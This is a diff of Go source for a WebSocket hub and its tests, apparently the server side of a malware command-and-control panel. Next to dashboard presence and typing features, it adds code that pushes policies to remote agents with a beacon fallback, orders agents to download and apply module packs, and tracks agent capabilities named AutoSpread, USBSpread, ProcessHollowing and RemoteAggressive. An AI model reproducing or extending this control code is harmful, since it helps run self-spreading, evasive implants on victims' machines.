h.broadcastPresenceUpdate(username, dc.Page, true)
|
||||
|
||||
go h.runPingLoopDash(dc)
|
||||
|
||||
// Keep connection alive, read close messages
|
||||
for {
|
||||
_, _, err := conn.ReadMessage()
|
||||
_, data, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
var msg Message
|
||||
if json.Unmarshal(data, &msg) != nil {
|
||||
continue
|
||||
}
|
||||
switch msg.Type {
|
||||
case "presence_page":
|
||||
var body struct {
|
||||
Page string `json:"page"`
|
||||
}
|
||||
if json.Unmarshal(msg.Payload, &body) != nil {
|
||||
continue
|
||||
}
|
||||
page := strings.TrimSpace(body.Page)
|
||||
if page == "" {
|
||||
page = "/dashboard"
|
||||
}
|
||||
h.mu.Lock()
|
||||
if d, exists := h.dashboards[dashID]; exists {
|
||||
d.Page = page
|
||||
}
|
||||
h.mu.Unlock()
|
||||
h.broadcastPresenceUpdate(username, page, true)
|
||||
case "notes_typing":
|
||||
var body struct {
|
||||
Active bool `json:"active"`
|
||||
}
|
||||
if json.Unmarshal(msg.Payload, &body) != nil {
|
||||
continue
|
||||
}
|
||||
h.broadcastNotesTyping(username, body.Active)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1345,6 +1424,93 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
|
||||
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
// ResolveAgentTargets expands "all" to connected agent IDs.
|
||||
func (h *WSHub) ResolveAgentTargets(ids []string) []string {
|
||||
if len(ids) == 0 {
|
||||
return nil
|
||||
}
|
||||
for _, id := range ids {
|
||||
if id == "all" {
|
||||
return h.ConnectedAgentIDs()
|
||||
}
|
||||
}
|
||||
return ids
|
||||
}
|
||||
|
||||
// PushPolicyUpdate sends policy_update to each target agent.
|
||||
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
|
||||
if policy.IsEmpty() {
|
||||
return 0, len(agentIDs)
|
||||
}
|
||||
payload := marshalPolicyUpdatePayload(pushID, policy)
|
||||
for _, id := range agentIDs {
|
||||
if err := h.SendToAgent(id, Message{Type: "policy_update", Payload: payload}); err != nil {
|
||||
if h.EnqueueBeaconPolicy(id, policy) {
|
||||
sent++
|
||||
} else {
|
||||
failed++
|
||||
}
|
||||
} else {
|
||||
sent++
|
||||
}
|
||||
}
|
||||
return sent, failed
|
||||
}
|
||||
|
||||
// PushModuleFetch asks agents to download and apply a module pack.
|
||||
func (h *WSHub) PushModuleFetch(agentIDs []string, moduleName string) (sent, failed int) {
|
||||
args := map[string]interface{}{"module": moduleName}
|
||||
for _, id := range agentIDs {
|
||||
if err := h.SendAgentCommand(id, "fetch_module", args); err != nil {
|
||||
failed++
|
||||
} else {
|
||||
sent++
|
||||
}
|
||||
}
|
||||
return sent, failed
|
||||
}
|
||||
|
||||
// UpdateAgentCapabilities merges runtime capability flags and broadcasts to dashboards.
|
||||
func (h *WSHub) UpdateAgentCapabilities(agentID string, patch models.AgentCapabilities) {
|
||||
h.mu.Lock()
|
||||
cur, ok := h.agentCapabilities[agentID]
|
||||
if !ok {
|
||||
cur = models.AgentCapabilities{}
|
||||
}
|
||||
if patch.HolePunch {
|
||||
cur.HolePunch = true
|
||||
}
|
||||
if patch.RemoteAggressive {
|
||||
cur.RemoteAggressive = true
|
||||
}
|
||||
if patch.MeshP2P {
|
||||
cur.MeshP2P = true
|
||||
}
|
||||
if patch.AutoSpread {
|
||||
cur.AutoSpread = true
|
||||
}
|
||||
if patch.ProcessHollowing {
|
||||
cur.ProcessHollowing = true
|
||||
}
|
||||
if patch.AIEnabled {
|
||||
cur.AIEnabled = true
|
||||
}
|
||||
if patch.USBSpread {
|
||||
cur.USBSpread = true
|
||||
}
|
||||
h.agentCapabilities[agentID] = cur
|
||||
caps := cur
|
||||
h.mu.Unlock()
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_capabilities",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"capabilities": caps,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -1425,3 +1591,82 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
Payload: mustMarshal(notes),
|
||||
})
|
||||
}
|
||||
|
||||
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
|
||||
func (h *WSHub) runWarRoomBroadcast() {
|
||||
if h.db == nil {
|
||||
return
|
||||
}
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
data, err := h.db.ListWarRoom(7)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "emberwake_war_room",
|
||||
Payload: mustMarshal(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
type wsPresenceEntry struct {
|
||||
User string `json:"user"`
|
||||
Page string `json:"page"`
|
||||
Online bool `json:"online"`
|
||||
Ts int64 `json:"ts"`
|
||||
}
|
||||
|
||||
func (h *WSHub) presenceSnapshotLocked() []wsPresenceEntry {
|
||||
byUser := make(map[string]wsPresenceEntry)
|
||||
for _, dc := range h.dashboards {
|
||||
if dc.Username == "" {
|
||||
continue
|
||||
}
|
||||
page := dc.Page
|
||||
if page == "" {
|
||||
page = "/dashboard"
|
||||
}
|
||||
byUser[dc.Username] = wsPresenceEntry{
|
||||
User: dc.Username,
|
||||
Page: page,
|
||||
Online: true,
|
||||
Ts: time.Now().UnixMilli(),
|
||||
}
|
||||
}
|
||||
out := make([]wsPresenceEntry, 0, len(byUser))
|
||||
for _, e := range byUser {
|
||||
out = append(out, e)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) broadcastPresenceUpdate(user, page string, online bool) {
|
||||
if user == "" {
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "presence_update",
|
||||
Payload: mustMarshal(wsPresenceEntry{
|
||||
User: user,
|
||||
Page: page,
|
||||
Online: online,
|
||||
Ts: time.Now().UnixMilli(),
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) broadcastNotesTyping(user string, active bool) {
|
||||
if user == "" {
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "notes_typing",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"user": user,
|
||||
"active": active,
|
||||
"ts": time.Now().UnixMilli(),
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -159,6 +159,102 @@ func TestHandleDashboardWSAuthorizedInit(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func resetWSAuthUsersMulti(t *testing.T, creds map[string]string) {
|
||||
t.Helper()
|
||||
users := make(map[string]string, len(creds))
|
||||
for user, pass := range creds {
|
||||
hashed, err := hashPassword(pass)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
users[user] = hashed
|
||||
}
|
||||
usersMu.Lock()
|
||||
authUsers = users
|
||||
usersMu.Unlock()
|
||||
t.Cleanup(func() {
|
||||
usersMu.Lock()
|
||||
authUsers = map[string]string{}
|
||||
usersMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func TestHandleDashboardWSPresence(t *testing.T) {
|
||||
resetWSAuthUsersMulti(t, map[string]string{"india": "secret-pass", "comrade": "secret-pass"})
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(srv.Close)
|
||||
base := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
|
||||
dial := func(user string) *websocket.Conn {
|
||||
t.Helper()
|
||||
conn, _, err := websocket.DefaultDialer.Dial(base+"?token="+wsDashboardToken(user, "secret-pass"), nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial %s: %v", user, err)
|
||||
}
|
||||
t.Cleanup(func() { _ = conn.Close() })
|
||||
var init Message
|
||||
if err := conn.ReadJSON(&init); err != nil || init.Type != "init" {
|
||||
t.Fatalf("read init for %s: %v type=%q", user, err, init.Type)
|
||||
}
|
||||
var snap Message
|
||||
if err := conn.ReadJSON(&snap); err != nil || snap.Type != "presence_snapshot" {
|
||||
t.Fatalf("read presence_snapshot for %s: %v type=%q", user, err, snap.Type)
|
||||
}
|
||||
return conn
|
||||
}
|
||||
|
||||
connA := dial("india")
|
||||
connB := dial("comrade")
|
||||
|
||||
waitForMessage := func(conn *websocket.Conn, wantType, wantUser string, check func(map[string]interface{}) bool) {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(3 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(250 * time.Millisecond))
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
continue
|
||||
}
|
||||
if msg.Type != wantType {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
continue
|
||||
}
|
||||
if wantUser != "" && body["user"] != wantUser {
|
||||
continue
|
||||
}
|
||||
if check != nil && !check(body) {
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
t.Fatalf("timed out waiting for %s user=%q", wantType, wantUser)
|
||||
}
|
||||
|
||||
if err := connA.WriteJSON(Message{Type: "presence_page", Payload: mustMarshal(map[string]string{"page": "/crucible"})}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
waitForMessage(connB, "presence_update", "india", func(body map[string]interface{}) bool {
|
||||
return body["page"] == "/crucible" && body["online"] == true
|
||||
})
|
||||
|
||||
if err := connA.WriteJSON(Message{Type: "notes_typing", Payload: mustMarshal(map[string]bool{"active": true})}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
waitForMessage(connB, "notes_typing", "india", func(body map[string]interface{}) bool {
|
||||
return body["active"] == true
|
||||
})
|
||||
}
|
||||
|
||||
func TestHandleAgentWSBadFleetSecret(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
|
||||
Reference in New Issue
Block a user